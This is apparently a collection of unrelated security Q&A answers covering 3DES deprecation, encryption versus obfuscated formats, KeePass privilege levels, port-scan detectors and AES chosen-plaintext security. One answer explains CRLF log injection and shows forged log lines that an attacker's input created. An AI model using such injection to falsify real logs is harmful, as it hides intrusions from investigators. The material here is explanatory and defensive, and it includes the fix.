That said, security also involves considering the other risks and there are other major potential issues that may arise, including legal issues that may actually make the situation illegal.  It could very easily result in what would be considered a hostile work environment and could potentially run afoul of sexual harassment laws depending on where you are, so that should also be considered.  (Even excessive crude joking can get companies in trouble in some locations.)

This is generally not a good idea for multiple reasons regardless of if you can do it securely or what you feel about porn personally.


Utimately it's down to your client environment. If you're talking about a typical web site, with a typical set of modern clients, then no, you probably won't see any significant issues.

If, however, you serve a large population of users in developing countries using very old mobile devices, or your clients are embedded devices that don't receive updates, you could indeed have issues.

You probably have a good idea already, but if you do have concerns, the way to get a high fidelity estimate of whether disabling 3DES suites will cause your system issues is to monitor for awhile, capturing the client hellos being sent to your system and parsing them to determine what ciphersuites actual clients of your system claim to be able to negotiate.


How to create a format that is very difficult to reverse engineer?

I am thinking about encryption as well as using a proprietary format to make it difficult to reverse engineer anything.....
  I want to create a file format that will be difficult to reverse engineer so that application is safe.

A file format which is difficult to reverse engineer is way more difficult to implement correctly in the application than a simple file format. This means testing the application will be harder and strange and hard to reproduce bugs will occur. Also probably security relevant bugs will be introduced without somebody noticing it because the code to support a complex format is way harder to review than code supporting a simple format.
Because of this the application will not be more safe but actually less safe.

In summary: don't try to reach security by adding unneeded complexity. Instead keep it simple and rely on properly implemented encryption for security, since you want to use encryption anyway.


Running KeePass (or any other application) as administrator changes the integrity level.   Objects of the same integrity level can potentially interact and modify each other, but an ojbect of a lower integrity level cannot modify an object of a higher integrity level.  If you start your browser and KeePass both as a normal user, the integrity level of both will be set to "medium".   If you start KeePass as an administrator, however, its integrity level will be set to "high" and its resources will be protected from processes that have lower integrity levels.

So, does this mean you should run KeePass as as administrator?  To some degree it depends on your threat model.   The general wisdom would hold that you shouldn't run with more privileges than are necessary, and if an attacker has the ability to arbitrarily modify running processes on your machine, you've already lost anyway.  Unless you have very specific threats you face and you can articulate the reasons these threats put you at greater risk by following the conventional wisdom than by going down an alternate path, I would say that no, there is not such a significant security benefit to choosing to run as an administrator instead of a normal user that it would clearly justify it.


Scan detection Tool better than Snort Portscan Preprocessor

Try looking into Scanlogd
http://www.openwall.com/scanlogd/

Also look into psad (Port Scan Attack detector)
http://cipherdyne.org/psad/

I havent tried using either of them. Though I am not sure how much better than Snort these will be, I am sure these allow for much higher degree of customization, which may help.


Log-Neutralization Example - Help me understand!

Look at the Makefile and compare the parameters in the run.

A CRLF Log Neutralization attack is a way to add arbitrary lines to a log file, if the log file includes information that comes from the user.

That is, the log was trying to put a warning at 2:01, but because of the CRLFs in the string created, it instead put an INFO at 2:01 and the WARN at 1:26 (an arbitrary time chosen by the attacker)

It is a way to add confusion and make tracking the attacker harder.  Fixing it, as shown in the code, is trivial - block non-printable characters and replace them with _

I'll demonstrate what's real and what's fake here :

Logging commandline arguments:
Jan 17, 2017 2:01:46 PM ArgumentLogger main <= real date, real location
INFO: a normal event                        <= fake INFO, fake message
Apr 25, 2012 1:26:19 PM ArgumentLogger main <= fake date, fake location
WARN: Attack suspected at 129.21.208.62     <= real message


Does holding an AES-encrypted string and its cleartext from a database help an attacker in decrypting other parts of the database

When used correctly, no.   This is one of the tests for semantic security, in fact.  In another form, if an attacker can choose a plaintext to be encrypted by you, with your secret key, he should not be able to learn anything about any other data you have encrypted with the same key. This is what is known as CPA-secure (chosen plaintext attack) and AES is believed to be (as far as we can tell) CPA-secure.  So not only can an attacker not decrypt other data using this knowledge, he can't even learn anything about the other data with this knowledge.